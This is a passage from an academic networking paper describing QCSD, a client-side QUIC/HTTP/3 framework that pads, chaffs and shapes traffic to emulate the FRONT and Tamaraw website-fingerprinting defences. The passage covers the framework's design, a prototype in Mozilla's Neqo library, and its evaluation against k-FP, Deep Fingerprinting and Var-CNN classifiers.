Definition 2.2. An aggregated time series, Td∈{0,1}, of the
direction d of trace P with granularity I, is a sequence of
packet lengths:

Td = (x1,x2, . . . ,xm)

where xi is the sum of all the packet lengths with timestamps ti
within the half-open time interval [(i−1) · I, i · I) and with the
specified direction, or 0 if no packets fell within that interval.

Building blocks of a defence QCSD aims to emulate ex-
isting defences in the literature, thus we must establish the
functionality required to do so. A defence M is a mechanism
that takes an input trace, P, and alters it to create a new trace
P′. We can understand the necessary functionality of M by
investigating the ways in which P and P′ may differ. Consider
w.l.o.g. x and x′ at the same index in incoming time series rep-
resentations Td=1 and T ′d=1. There are three cases. First, when
x′ = x the defence M does not perturb the input sequence at
that time interval. Second, when x′ > x the packet to be trans-
mitted must be padded by x∆ = (x′−x) bytes. Furthermore, if
x = 0 this equates to sending an additional x∆ = x′ bytes when
no packet was present in the input sequence. And third, when
x′ < x, then the input packet is too large, and must reduced in
size, sending x′ bytes in that interval. If x′ = 0 this equates to
preventing the transmission of any data at that time interval.

From the above formulation, the requirements for an expres-
sive defence framework are clear. A defence framework that
emulates a defence M must be able to (1) send chaff packets,
(2) pad packets, (3) split packets, and (4) delay the sending
of packets from the client and server. Below we describe our
formulation of such a framework, QCSD.
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3 A QUIC Client-Side Defence Framework

We design a QUIC client-side defence framework (QCSD)
that enables implementing complete website-fingerprinting
defences solely from the client.

3.1 Overview
QCSD allows shaping transmissions on HTTP/3-QUIC con-
nections in both directions, whether to or from the client,
according to the configured website-fingerprinting defence.
Additionally, QCSD’s design aims to (1) provide website-
fingerprinting resilience similar to that of the stipulated de-
fence, (2) avoid adding additional data and delays to the
connection beyond required by the defence, and (3) allow
server interoperability by being standards compliant with the
QUIC [45] and HTTP/3 [46] specifications.

To enact arbitrary defences, QCSD utilises standardised
features of QUIC and HTTP/3 to provide the building blocks
of website-fingerprinting defences, identified in Section 2.4.

3.1.1 Sending Chaff and Padding Packets: PADDING,
PING, and Chaff Streams

QCSD performs padding in the client-to-server direction us-
ing QUIC’s PADDING and PING control frames. These frames
allow sending arbitrary amounts of null-valued data from the
client – from a few bytes padding a packet to entire packets
of only chaff data – which is discarded by the receiver. As a
result of QUIC’s pervasive encryption, these control frames
are bitwise indistinguishable from normal application data.

In order to pad and chaff in the server-to-client direction,
QCSD leverages the facts that HTTP GET requests are idem-
potent [47]–[49] and that servers host numerous resources
beyond those required for the loading of any single web
page. Additionally, as per the HTTP/3 standard [46], a single
HTTP/3 request-response cycle is conducted upon a single
stream and QUIC may place data from individual streams
of a connection into the same packet [45]. Together, these
allow us to construct, track, and manage streams of chaff data
from the server to the client, on which padding and chaff data
can be requested independently of application data. We term
these streams chaff-streams to differentiate them from the
application streams carrying the HTTP data of the web page.

3.1.2 Splitting and Delaying: Stream Flow Control

QUIC’s implementation as a user-space protocol allows us
to control transmissions from the client to the server, with-
out modifying the operating system or making changes that
would impact other applications at the client. We can therefore
choose how much data and when to send packets originating
from the client in accordance with the defence.

For data originating from the server, QCSD utilises the fact
that QUIC multiplexes individual streams within a connection,

0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 t(s)

Control
interval

Pin

Pout

send MSD{si,L}

send MSD{s j,2 ·L}

send MSD{sk,3 ·L}

immediately send 1×PING, (l−1)×PAD

Figure 1: A simplified example of the events generated by
QCSD to add chaff traffic to a connection according to the
chaff-only defence trace P = Pout∪Pin, with packets of length
L, length l ≤ L, and chaff streams si, s j, and sk.

where each stream is individually flow-controlled. Delaying
packets is accomplished through individual, fine-grained ma-
nipulation of this stream-based flow control. A server will
only send data for a stream if it has flow control credits for that
stream. QCSD uses QUIC’s MAX_STREAM_DATA (MSD) frame
to incrementally provide flow control credits to the server on
individual streams, which allows delaying or releasing data
according to the defence. QCSD splits data to be received as
a consequence of this approach, since it releases exactly how
much data it would like to receive.

This results, however, in manipulating bursts of bytes which
are delivered in one or more packets, instead of in individual
packets. Frequently releasing small amounts of flow-control
credit would enable finer-grained shaping, perhaps at sub-
packet level bursts. However, servers may choose to aggre-
gate received flow credit, thereby limiting such fine-grained
manipulation. For example, a server that receives two releases
of 600 bytes of flow credit within a short span of time may
aggregate its available flow credit and send a single 1200-byte
response, instead of two 600-byte responses. QCSD therefore
does not send these releases at microsecond frequencies, but
instead aggregates the releases at the client and signals the
server every few milliseconds. As we show in Section 5, de-
spite aggregating releases QCSD is able to effectively emulate
defences from the literature.

3.1.3 Putting it All Together

Figure 1 shows a simplified example of the QUIC packets and
events generated by QCSD to add chaff traffic to a connection
according to a trace P. These events occur in parallel with
the regular communication between the client and the server.
Trace events for the outgoing direction are immediately satis-
fied by the client by sending additional packets, padded with
PING and PADDING frames to create packets of the desired
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Figure 2: Packet times and sizes for https://www.pcgamingwiki.com/ and dependent QUIC resources when collected using a
simple, undefended client vs. shaped with QCSD towards the FRONT and Tamaraw defences. Packet time distributions compared
to the target defences are shown above. Packets below 150 bytes (250 bytes with Tamaraw) are not shown.

length, L. Events for the incoming direction are aggregated
at the client for a control interval (0.1 s in this example but
around 0.005 s in practice) and the data is pulled on an ap-
propriate chaff stream at the end of each control interval by
sending MAX_STREAM_DATA from the client to the server. For
a chaff-and-shape defence, the outgoing packets would also
contain the HTTP data required for regular communication,
and the streams selected for incoming data would include
application streams in addition to chaff streams.

Examples of QCSD shaping the index page and resources
of https://www.pcgamingwiki.com/ towards the FRONT [18]
and Tamaraw [22] defences are shown in Figure 2 compared
to the original traffic pattern and the target schedules gen-
erated by the defences. In the next section we describe the
design of QCSD and its shaping algorithm in more detail.

3.2 Orchestrating the Defence

QCSD accepts a target trace P corresponding to a defence, a
mode of operation m, and a control time interval I. The target
trace P may be either a static schedule of packet timestamps
and sizes, or may be dynamically generated by the defence
at runtime. While QCSD supports both types of targets, for
simplicity we describe its operation in terms of a static sched-
ule. The mode m is one of two modes as indicated by the type
of defence: “chaff-only” or “chaff-and-shape”. In chaff-only
mode, the trace P defines the cover traffic to be added to the
incoming and outgoing communication. In chaff-and-shape
mode, P is the target trace of the overall communication and
the traffic is delayed, padded, and otherwise reshaped towards
this trace. Table 1 shows an overview of the modes associ-
ated with various website-fingerprinting defences. Finally, the
control interval I defines how frequently flow-control credits
may be released to the server. It balances the granularity of
shaping against the overhead of the control messages.

3.2.1 Preparing the QUIC Connection

During initialisation, QCSD modifies the transport param-
eters of the underlying QUIC connection, which are nego-
tiated between the client and server. It reduces the initial
flow-control credit from the server to the client for all bidirec-
tional streams to only 16 bytes. Bidirectional streams trans-
port HTTP/3 requests and responses and thus setting a low
initial flow-control credit prepares the streams for shaping by
preventing unscheduled transmissions from the server. This
is required for chaff-streams in the case of chaff-only mode,
and for both chaff and data streams in chaff-and-shape mode.
Consequently, each time the client opens a new application
(non-chaff) stream to the server in chaff-only mode, QCSD
immediately increases the flow control to their non-restricted
levels with a MAX_STREAM_DATA frame.

3.2.2 The Core Control Loop

Algorithm 1 outlines the central logic for shaping a connection
towards the target trace P for the defence and is called with
the current time after every control interval I, or at the time
indicated by the next event in P. It operates on the events of
P, that is, the tuples of time, size, and direction of data to be
sent or received as indicated by the defence.

Shaping begins by determining whether to pull data from
the server to the client for any previously unsatisfied incoming
events, pulling as much data as needed or available across
open application and chaff streams. Next, it processes each
event with a timestamp within the last control interval. QCSD
uses data from application streams and chaff streams to fulfil
these events. Application streams are only manipulated by
QCSD when reshaping the connection (chaff-and-shape) and
are shaped in the same manner as chaff streams. Where pos-
sible, QCSD prioritises data from application streams over
chaff streams to reduce the impact of the defence on the load-
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Algorithm 1 Orchestrate the defence corresponding to trace
P with mode m at the current time now. The variable ci_end is
the end of the scheduled incoming control interval, astreams,
cstreams are the set of application and chaff streams resp.;
and backlog≥ 0 is the previously unfulfilled incoming data.

1: procedure RUNDEFENCE(P, m, now, ci_end, backlog,
astreams, cstreams)

2: pull← 0
3: prev_ci_end← now− (now mod I)
4: if ci_end ≤ now then
5: ci_end← prev_ci_end + I
6: pull← backlog
7: backlog← 0
8: end if
9: while P has an event with a time before now do

10: event← next event of P
11: if event.dir = outgoing and m = chaff-and-shape then
12: SENDPACKETOFSIZE(event.size)
13: else if event.dir = outgoing and m 6= chaff-and-shape then
14: SENDCHAFFPACKETOFSIZE(event.size)
15: else if event.time≤ prev_ci_end then
16: pull← pull + event.size
17: else
18: backlog← backlog+ event.size
19: end if
20: end while
21: if pull > 0 then
22: if m = chaff-and-shape then
23: pull← pull−PULLON(astreams, pull)
24: end if
25: pull← pull−PULLON(cstreams, pull)
26: backlog← backlog+ pull
27: end if
28: if m = chaff-and-shape, ISDONE(P), and backlog = 0 then
29: CLOSECONNECTION( )
30: end if
31: return backlog,ci_end
32: end procedure

ing time of the web page. Next, QCSD prepares to pull data
to satisfy events for the incoming direction if their times were
within the last control interval, otherwise they are aggregated
to be pulled at the end of the current control interval.

Pushing data and chaff For outgoing events of size x bytes,
QCSD uses either pending data on open application and chaff
streams or QUIC PADDING and PING frames to satisfy them.
For a chaff-and-shape defence, QCSD constructs a QUIC
packet of at most x bytes with any pending application data
or control frames. If the data that was pending to be sent
on these streams was insufficient, the remaining data is sent
using QUIC’s PADDING and PING frames. In the case of chaff-
only defences, QCSD constructs and sends a QUIC packet
of x bytes with only PADDING and PING frames. Each frame
is 1 byte in length and may be repeatedly added to a packet.

While PADDING frames would be sufficient to send the re-
quired chaff, placing a PING frame in the packet ensures that
the packet will be acknowledged by the server (packets with
only PADDING frames are not acknowledged), thereby mim-
icking application data from the client.

Pulling data and chaff For incoming events of size x bytes
of a chaff-and-shape defence, QCSD requests data from the
server on open application streams with pending data, fol-
lowed by open chaff streams. In chaff-only defences, data is
requested only on chaff streams as application streams freely
send their data. For each stream i, QCSD tracks the current
value of the maximum stream data allowed to the server, msdi,
as well as the total amount of data known to be available on
the stream, limiti, through observing received headers and
QUIC frames (see Appendix B.3). The difference between
these two values, ai = limiti−msdi, is the available capacity
of that stream to provide data. QCSD selects n application and
chaff streams with available capacities a1, . . . ,an, to provide
the required amount of data, that is a1 + · · ·+ an ≤ x. Next
QCSD allows the server to send data on each of these streams
by sending a MAX_STREAM_DATA frame with the new value
msdi + ai. The server then responds with the data from the
various streams aggregated across multiple packets.

Since all outgoing messages are regulated in chaff-and-
shape mode, if the defence does not currently also send an
outgoing packet, then a small packet of 150 bytes is con-
structed to transmit the control message. To have the ar-
rival of the data accurately match the defence schedule, the
MAX_STREAM_DATA frames would need to be sent 1 round-
trip-time (RTT) before they are expected. The RTT tracked by
QUIC’s congestion control algorithm could be used to deter-
mine when to send the control frame. However, for the sake
of simplicity we assume zero-RTT in our implementation.

Unlike the outgoing direction with its PADDING frames, the
incoming direction cannot ensure that it will be able to pull
all of required data. The amount of data that remains to be
pulled is recorded and pulled in a subsequent control interval.

Finishing shaping Finally, once there are no more events
for shaping either direction of a chaff-and-shape defence
the connection is closed, as expected of defences like Tama-
raw [22] and Supersequence [8]. For chaff-only defences, the
application continues transmitting until it completes.

3.3 Chaff Streams
A chaff stream is a QUIC stream opened by the client over
which an idempotent resource, tangential to the loading of the
web page, is requested and delivered using an HTTP/3 GET
request-response cycle. Chaff streams leverage two properties
of QUIC: stream-based flow control and bundling of stream
data. Individual stream-based flow control allows an endpoint
to specify how much data it is willing to receive over a stream,
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and to prioritise data from particular streams. By manipulating
the stream-based flow control, QCSD requests data from an
individual chaff stream as necessary. QUIC’s framing allows
frames from multiple streams to be bundled in a single packet.

Our motivation to use chaff-streams within our framework
derives from the limitations of the other potential sources of
chaff in the HTTP/3-QUIC stack – namely arbitrary, control,
or retransmitted data – and is discussed in Appendix B.1.

3.3.1 Chaff Stream Management

Although chaff streams provide a potentially large of amount
of chaff, they required overcoming a number of difficulties
including identification of potential chaff resources, discovery
and tracking of the amount of data available on a stream, and
maintaining a pool of chaff streams to provide sufficient chaff.

We envisage that the client caches historical information
regarding available resources for a given origin, possibly with
their sizes. This information aids in the crafting of the de-
fence at the start of the connection, and thus improves the
user’s privacy, but is not required for QCSD to operate. Each
time the client sends a GET request QCSD records the as-
sociated URL and headers. Once the fetch of the URL has
been fulfilled, QCSD is aware of the amount of HTTP data
that was received on that stream. Using this information,
it estimates how much data would be available on a sub-
sequent request for that URL. Previously requested URLs
are ranked according to their HTTP payload length and are
re-requested to provide available chaff data. Additionally, out-
going requests for chaff resources specify the identity encod-
ing HTTP header (“Accept-Encoding: identity”), which
ensures that returned content is uncompressed, thereby max-
imising the amount of data received for each request.

At the beginning of the connection and each time a chaff
stream closes, QCSD opens 5–20 streams or as many as will
allow it to have around 1 MB of chaff available to request.
Appendix B.3 provides more details on the tracking and con-
trolling of chaff streams.

3.4 Shaping Multiple Connections

The mechanisms used by QCSD naturally extend to shape
the multiple connections required to download a web page.
Consider a defence target P to be applied across n connections
c1, . . . ,cn, each with an arbitrary number of streams. Shaping
these connections equates to assigning each event E generated
by P to a single connection. That is, for each event E of bytes
that should be sent or pulled, QCSD selects a connection ci to
satisfy that event. Since QCSD tracks the amount of pending
incoming and outgoing data on each stream (Section 3.2.2,
Appendix B.3), it can select the connection based on the
availability of data (e.g., the total pending across all streams
for a given connection is more than required by the event).

Given multiple connections with sufficient pending bytes to
satisfy the event, the question arises as to how to prioritise the
assignment of the event to a connection. While we consider
the selection and evaluation of such scheduling algorithms
beyond the scope of this work, Yu and Benson observed pro-
duction servers multiplexing QUIC streams in a round-robin
fashion [50] and thus we round-robin schedule connections.
For a given event, the scheduler checks the pending bytes
of each connection in turn and assigns the event to the first
connection ci with sufficient capacity. For the next event, it
begins its checks from connection ci+1 thereby giving each
connection an equal chance of being assigned an event and
allowing simultaneous transfer across all connections. We
discuss future work on scheduling approaches in Section 7.

4 Dataset Collection

To evaluate QCSD, we implemented a prototype in an
HTTP/3-QUIC library and used it to collect datasets of web-
page loads defended with FRONT and Tamaraw.

4.1 Implementation

We implemented a prototype of QCSD in Mozilla’s Neqo
HTTP/3-QUIC client library, which is used in the Firefox
browser and written in the Rust programming language [51].
Additionally, we implemented a test client that uses the li-
brary to emulate the loading of a web page. It downloads the
web page’s HTML and resources over one or more QUIC
connections while using a pre-generated resource dependency
graph to maintain dependency and timing relationships among
resources. Emulating the dependencies this way enabled mim-
icking the complex loading of modern web pages while sim-
plifying our evaluation (see Appendix C for details).

Since QCSD is solely client side and QUIC is a user-space
transport protocol, we were able to restrict our implementation
to the Neqo user-space library. Along with the implementa-
tions of the FRONT and Tamaraw defences in QCSD, each
under 200 lines of code, our prototype adds around 3,500 lines
of code to the Neqo HTTP/3-QUIC client library. It is avail-
able from our repository (https://github.com/jpcsmith/
neqo-qcsd).

4.2 Datasets

To evaluate QCSD, we collected several datasets with our test
client across two settings. In the first setting, undefended, we
downloaded the web pages without any defence applied. In
the second setting, defended, we configured QCSD to shape
connections towards either the FRONT or the Tamaraw de-
fence. We collected the following datasets in the undefended,
FRONT-defended, and Tamaraw-defended settings:
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• Distance datasets (Ddist) For distance-based evalua-
tions, we collected datasets of single traces in each set-
ting for each of 500 unique domains.

• ML single-connection datasets (Dconn) For machine-
learning evaluations, we collected single-connection
open-world datasets of 20,000 samples, split across 100
monitored domains and 10,000 unmonitored domains
using our test client in each setting.

• ML multi-connection datasets (Dmc) Additionally,
we collected open-world multi-connection datasets of
11,000 samples, split across 100 monitored domains and
1000 unmonitored domains in each setting.

• ML full-page datasets (D f ull) Finally, we collected a
set of datasets on full web-page loads. These datasets
are of the same composition as Dconn but were collected
in the undefended and FRONT-defended settings only.

The datasets consist of packet sizes and timings of web pages
from domains in the Alexa top 1m list [52] that support QUIC.
We collected the traces through Wireguard VPN gateways,
deployed in New York City, USA; Frankfurt, Germany; and
Bengaluru, India, to provide a variety of network conditions.
For the full-page datasets, D f ull , we orchestrated the FRONT
defence on the full web page by loading the given web page
using the Chromium browser and, over the same encrypted
VPN tunnel, we added chaff traffic using QCSD with chaff
resources from the primary web page.

To apply the FRONT defence, QCSD randomly generated
the chaff-schedule using the parameters Ns = Nc = 1000
(1300 in Dmc, D f ull), Wmin = 0.5s, Wmax = 7s (0.2 s and
3 s in D f ull), and chaff-packets of 1200 bytes (1250 bytes
in Dmc, D f ull). These were adapted from the original pa-
per [18] to account for reduced latency in our VPN setting
and high attack performance against the simulated setting.
For Tamaraw, QCSD used parameters similar to the original
paper: ρout = 0.020, ρin = 0.005, L = 300, and packets of
750 bytes in Ddist [22] and 1200 bytes–1250 bytes otherwise.
Appendix C provides further collection details.

Simulated setting Finally, we generated a third setting, sim-
ulated, which simulates the defence as proposed in the lit-
erature on undefended traces, for comparison with QCSD’s
live-defended traces. FRONT simulations combined the chaff-
trace generated in the defended setting with the correspond-
ing undefended web-page trace. Tamaraw simulations are
the packet schedules generated in the defended setting, as
chaff-and-shape defences specify the expected final trace. We
accounted for the RTT between the client’s transmission of
a command and our observation of the server’s response by
shifting the times of the chaff-schedule (FRONT) or defended
trace (Tamaraw) in the server-to-client direction. This shift
was between 0 ms and 200 ms and minimised the Euclidean
distance between the simulated and defended traces.

5 Shaping Case Studies: FRONT & Tamaraw

We evaluated QCSD’s ability to accurately pad or shape
HTTP-QUIC connections to two website-fingerprinting de-
fences from the literature: FRONT [18] and Tamaraw [22].
Using the distance datasets Ddist , we measured the similarity
between each defended trace and its simulated counterpart, as
well as the incurred bandwidth and latency overheads.

Trace similarity We measured the similarity between the
aggregated time series (Definition 2.2) of the defended and
simulated settings using Pearson’s correlation coefficient r
and the longest common subsequence measure (LCSS). Pear-
son’s r measures linear correlation between two sets of data,
and has been used in flow correlation attacks on Tor [53], [54].
LCSS was designed to compare noisy time series data and
thus fits well to our use case [55]. Being less common, we
describe LCSS below and assume familiarity with Pearson’s r.

Definition 5.1. Longest Common Subsequence (LCSS) [55] is
a measure of similarity between two time series that is robust
to noise. It is given by

Sδ,ε(x,y) =
LCSSδ,ε(x,y)
min{|x|, |y|}

where LCSSδ,ε denotes the length of longest matching sub-
sequence between each direction of the simulated and de-
fended aggregated time series x and y, of lengths |x| and |y|,
and when allowing some elements to be unmatched. LCSSδ,ε

pairs entries at most δ entries forward or backward in time,
and considers them a match if their difference is at most ε.
The measure Sδ,ε ranges from 0 to 1 with 1 representing the
greatest similarity. We set ε to 150 bytes to disregard server
control packets and framing and left δ unconstrained.

Bandwidth and latency overheads We used the defini-
tion of bandwidth and latency overheads present in the lit-
erature [8], [18], [20]. They are calculated as the increase
relative to the number of transmitted bytes or duration of the
undefended communication and are thus unitless. In the case
of the latency overhead, the duration of the defended com-
munication is until the last application packet, as the user’s
experience of delay is unaffected by trailing chaff traffic.

5.1 Chaff-Only Defence ‘FRONT’
We evaluated the FRONT defence as an exemplar of chaff-
only defences, that is, those that obscure the web page by
solely adding chaff traffic to the trace.

QCSD closely emulates FRONT Pearson’s r and LCSS
between the QCSD-defended and simulated time-series, ag-
gregated at various granularities, are shown in Figure 3a. Pear-
son’s r shows increasing correlation strength with larger gran-
ularities, from a weak correlation (r < 0.3) at 5 ms to medium
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Figure 3: Pearson’s r and LCSS between QCSD-collected and
simulated time series, aggregated at various sampling rates.

(0.3 < r < 0.5) and strong (r > 0.5) correlations in the incom-
ing and outgoing directions respectively at 50 ms granularity.
This increasing trend arises from scheduling and network con-
ditions causing small differences in time between the schedule
and when a packet is sent or observed, and thus becomes less
pronounced at higher granularities. The overall pattern of sent
and received chaff therefore matches the target schedule.

LCSS reports high similarity between the defended and
simulated time series (Figure 3a), as it is better tailored to our
noisy environment. At both 1 ms and 5 ms granularities LCSS
indicated that both the defended and simulated time series
were transmitting similar amounts of bytes (within ε = 150)
for over 85% of the intervals. The decrease at higher granular-
ities is likely due to the aggregation of multiple packets within
a single interval in the calculation. For example, two control
packets aggregated in an interval expected to be empty would
no longer be within ε of 0 bytes. Nevertheless, the ability
of QCSD to closely emulate FRONT is apparent in the high
LCSS score at 5 ms, the control interval used to pulled chaff.

FRONT emulation incurs small overheads Next, we mea-
sured the latency and bandwidth overhead incurred by QCSD
when emulating FRONT. The bandwidth overhead, shown in
Table 2, slightly increased from 1.17 in the simulated setting
to 1.43 in the defended setting. There are two reasons for this
increase. First, unlike in the simulated setting we send control
packets from the client and receive acknowledgements from

Table 2: Median overheads and their lower and upper quartiles
for FRONT and Tamaraw. Simulation overheads marked with
∗ were computed using Cai et al.’s Tamaraw simulation [22].

FRONT Tamaraw

Bandwidth
Defended 1.43 (0.58–5.86) 4.16 (1.43–10.6)
Simulated 1.17 (0.48–4.99) 3.09 (0.90–8.35)

– ∗0.58 (0.20–2.44)
Latency

Defended −0.12 (−0.22–0.05) 8.43 (3.61–17.3)
Simulated 0.00 ∗2.34 (0.69–6.98)

the server, in addition to other control messages necessary for
maintaining the connection. We could reduce this overhead
by bundling control messages with outgoing chaff as opposed
to sending them as normal application traffic. Second, since
we cannot construct the packets at the server, we pull the full
amount of the desired chaff as stream data, which is addi-
tionally encapsulated with QUIC and STREAM_FRAME headers.
This overhead could be reduced by estimating header lengths
and reducing the amount of chaff requested accordingly.

In the case of the latency overhead, Table 2 shows that
both the simulated and QCSD approaches have overheads
near zero, as the addition of chaff packets does not affect the
original transmission duration. The small negative latency
is likely due to network variations across the defended and
undefended settings as the interquartile range spans zero.

5.2 Shaping Defence ‘Tamaraw’

At the other end of the defence spectrum lies heavy-weight
defences such as Tamaraw [22], which add chaff and shape
the traffic from the client and the server to constant rates.

QCSD successfully emulates Tamaraw In Figure 3b, we
can see both Pearson’s r and LCSS scores for the simulated
and defended time series for Tamaraw. Pearson’s r reports
median correlations of medium strength (∼0.5) in the direc-
tion from client to server at 25 ms and 50 ms granularities.
The negative Pearson’s r in the outgoing direction is indica-
tive of a phase-shift between the compared time series, and
can occur, for example, when an odd number of packets are
aggregated in an interval in one series but an even in another.

In contrast, LCSS reports high similarities in excess of
0.87 in both the outgoing and incoming directions at 1 ms
granularity and around 0.5 at 5 ms granularity. Insufficient
data at the server, server aggregation of responses into unequal
packets, such as of 1300 bytes and 200 bytes as opposed
to two 750-byte packets, as well as network jitter resulting
in multiple packets arriving in the same interval likely all
contribute to the reduction in the similarity score.
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Large bandwidth overheads are even larger Tamaraw’s
bandwidth overheads are shown in Table 2. The already large
bandwidth overhead of 3.09 times the undefended transmis-
sion size in the simulated setting is further increased to 4.16
when emulated with QCSD. This increase of around 30%
above that of the simulated setting is similar to the increase
encountered in FRONT and results from the addition of the
control messages necessary to coordinate with the server. In
the case of Tamaraw however, the control messages that are
sent every 5 ms to the server cannot be bundled with outgo-
ing scheduled packets, as those occurring every 20 ms. At
these intervals, QCSD sends QUIC packets of 150 bytes to
ensure that control messages are delivered to the server. Since
MAX_STREAM_DATA control frames have variable length but
are at most 17 bytes, and as multiple such frames may be sent
in a control packet, profiling for frequently used control frame
sizes or bounding the number of streams used to request data
in each interval could reduce this overhead. We discuss the
overhead difference between the live-generated schedule and
the simulated overhead [22] below with the latency overhead.

Tamaraw’s latency overhead diverges from the literature
The latency overhead, shown in Table 2 for QCSD’s emula-
tion of Tamaraw, is a surprising 8.43 times as long as in the
undefended case. By contrast, the latency overhead computed
using Cai et al.’s Tamaraw simulation reports an expected
overhead of only 2.34 in the median.1 A similar divergence
is also seen in the bandwidth overhead. There are two pri-
mary reasons for this. First, some web pages do not declare
resource lengths and fragment them across multiple HTTP/3
data frames. In this case, QCSD cannot determine the length
of the resource a-priori and must cautiously releases data on
the stream. This primarily affects non-chaff resources in chaff-
and-shape defences, as chaff-resource lengths can be cached
and chaff-only streams do not throttle other resources. Second,
incoming and outgoing directions were simulated indepen-
dently. In reality however, delays in downloading the HTML
of the web page then delays requests for dependent resources
which themselves delay the fulfilment of those resources by
the server: delays ripple throughout both directions. There-
fore, higher transmission rates than used in simulations would
be required to achieve lower latency overheads.

6 Defending against WF Attacks at the Client

Similarity measures cannot capture whether QCSD defences
deter website-fingerprinting attacks. We therefore evalu-
ated QCSD’s ability to defend against modern attacks – k-
fingerprinting (k-FP) [9], Deep Fingerprinting (DF) [12], and
Var-CNN [15] – in the open-world setting.

1We use Cai et al.’s simulation as a simulation derived from the Tamaraw
schedule would have the same latency overhead as the defended setting.
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Figure 4: r20-precision-recall curves of attacks on single-
connection datasets defended with simulations or QCSD.

We trained these attacks on datasets from two scenarios:
single connections and full web-page loads. For each dataset,
we trained on an 80 % stratified split with modest tuning of
the classifier hyperparameters from the original papers (see
Appendix D). We additionally supplied them with vectors of
signed packet sizes (DF and Var-CNN), packet timestamps
(Var-CNN), and 165 engineered size- and time-related fea-
tures [9] (k-FP). We then tested on the remaining 20 % of the
dataset and measured recall and precision.

Definition 6.1. Recall or true-positive rate is the fraction of
monitored websites labelled as the correct monitored website.

Definition 6.2. The precision of a classifier on a given dataset
is the fraction of correct monitored website claims. As this
is implicitly coupled to the number of positive and negative
samples in the dataset, we use Wang’s r-precision (πr) [39]
which adjusts precision to an explicit ratio of monitored to
unmonitored websites. We use r = 20 corresponding to 1
monitored website visit for every 20 unmonitored websites,
consistent with Wang [39].

6.1 Defending Single Connections

To determine QCSD’s capability in defending against these at-
tacks, we evaluated them on single-connection datasets Dconn.
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QCSD effectively defends with FRONT Figure 4a shows
the precision and recall of the attacks against FRONT in the
single-connection setting. Against all three attacks, the level
of defence provided by QCSD-orchestrated FRONT is at least
that of simulated FRONT. Against an adversary prioritising re-
call, QCSD reduced precision below 0.2 for recall above 0.75;
whereas for an adversary prioritising precision, it reduced re-
call to below 0.3 for precision above 0.75. Furthermore, in
all cases, QCSD provided significantly better defence when
compared to the undefended setting, where for 0.75 recall it
reduced the precision from over 0.85 to under 0.20. QCSD’s
improved performance against Var-CNN when compared to
the simulation is likely due to the volatility of time feature
vectors in the presence of the added control packets.

Inexact server control hinders Tamaraw In contrast to
the chaff-only defence FRONT, QCSD fails to match the
chaff-and-shape defence Tamaraw in its ability to render the
attacks ineffectual. When orchestrated with QCSD, and de-
spite reducing either precision or recall to below 0.4 (DF and
Var-CNN) and 0.7 (k-FP) when prioritising the other, QCSD
did not achieve Tamaraw’s featureless transmission. With a
constant outgoing transmission rate, the obvious source of
this discrepancy is the inexact shaping from the server. Refine-
ments of the approaches used in QCSD are possible and could
improve the performance of a near-constant rate defence such
as Tamaraw. Even so, QCSD-Tamaraw provides protection
when compared to the undefended setting, reducing precision
by 0.6 at recall values in excess of 0.75, and could be bol-
stered with support to ensure exact-length packets from the
server, as discussed in Section 7.

6.2 Defending Full Web-Page Loads

When loading a web page, the browser may open multiple
connections to different web servers to request the various
resources that constitute the web page. In this section, we
evaluate the ability of QCSD to defend full web-page loads,
consisting of resources downloaded on multiple connections
from different servers, in two scenarios. First, we evaluated
the ability of our simple multi-connection QCSD client to de-
fend against attacks when shaping multiple QUIC connections
towards the FRONT and Tamaraw defences (Dmc). Second,
we evaluated QCSD’s ability to defend against attacks when
loading the entire web page through the browser (QUIC and
TCP resources), by crafting FRONT on a single-connection
towards the same web server (D f ull).

QCSD defends multi-connection loads Figure 5 shows
attack precision and recall against traces defended with
QCSD across multiple connections. Similarly to the single-
connection setting, when defending with FRONT, QCSD was
able to significantly reduce attack precision and recall scores.
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Figure 5: r20-precision-recall curves on the undefended and
QCSD-defended multi-connection datasets.

By contrast, Tamaraw effectively defended against DF but did
not offer comparable performance against k-FP and Var-CNN.

Examination of feature importances in k-FP’s underlying
random-forest indicated that variance in incoming packet
sizes and total incoming data were among the top features
used for classification of QCSD-defended Tamaraw. There are
two primary reasons for this. The first is discrepancy between
the resource sizes recorded in the dependency graph, which
was used to determine chaff resources (Appendix B.2), and
their size during the evaluation. When the lengths of chaff
resources in the cache were overestimated (e.g., a resource
unexpectedly delivering an HTTP 404) the difference would
leak size information. This discrepancy arose from selecting
resources requiring cookies, javascript, being dynamic, etc.,
and could be addressed with better identification of chaff re-
sources when integrating with a browser. The second is due
to accommodating servers that do not respond with data un-
less they have been provided with some minimum amount
of flow credits (Appendix B.3). This leads to QCSD, for ex-
ample, providing 1500-bytes of flow credit and the server
responding with only 800-bytes at the end of the stream. This
leakage could be potentially mitigated by identifying these
servers and using coarse grained shaping with them and more
fine-grained shaping with well-behaving servers. We discuss
further improvements in Section 7.

Overall, the clear reductions in attack performance confirm
the feasibility of extending QCSD to shaping the multiple con-
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Figure 6: r20-precision-recall curves for classifiers trained on
browser web-page loads defended with QCSD-FRONT.

nections required to load full web pages, and exhibits similar
overheads to the single-connection setting (see Appendix E).

QCSD defends browser web-page loads When applied to
browser web-page loads, QCSD reduced attack efficacy as
seen in Figure 6. QCSD’s emulation of FRONT reduced the
recall of k-FP from 0.95 to only 0.4 at high precisions. Against
the deep-learning classifiers, at 0.90 precision it reduced the
recall from around 0.95 to 0.10 against Var-CNN and to 0.35
against DF. For an adversary interested instead in high recall,
such as 0.90, it reduced the precision from over 0.90 to under
0.35 against both DF and Var-CNN, although Var-CNN was
able to maintain higher levels of precision at high recall values.
Given the high performance of the deep-learning attacks on
the simulated defence, however, better selection of parameters
for FRONT could not only improve the defence, but also
QCSD’s orchestration of it; and further supports the feasibility
of using QCSD to defend web-page loads against website-
fingerprinting attacks.

7 Discussion

Our QUIC client-side website-fingerprinting defence frame-
work, QCSD, has shown great promise in defending web
pages loaded in the VPN setting. In this section, we discuss
further potential improvements to QCSD, its use with other
protocols, suggested extensions to QUIC, and limitations.

Shaping multiple connections Although QCSD naturally
extends to the multi-connection setting, future work is needed
to explore algorithms for scheduling the defence across the
connections. For example, Cloudflare has been observed se-
quentially scheduling QUIC streams as opposed to the round-
robin approach used by Google and Facebook [50]. Further-
more, prioritising connections that deliver non-terminal re-
sources (those resulting in more HTTP requests) or that speed
up rendering of the web page could improve user experience
despite the presence of a website-fingerprinting defence.

Embracing the noise QCSD shaping of incoming traffic
is fundamentally inexact and exhibits better performance for
the noise-based defence, FRONT, when compared to the reg-
ularized defence, Tamaraw. For regularized defences, noised
variants which perturb the regularized streams, for example,
by reducing or increasing the requested amount of chaff or
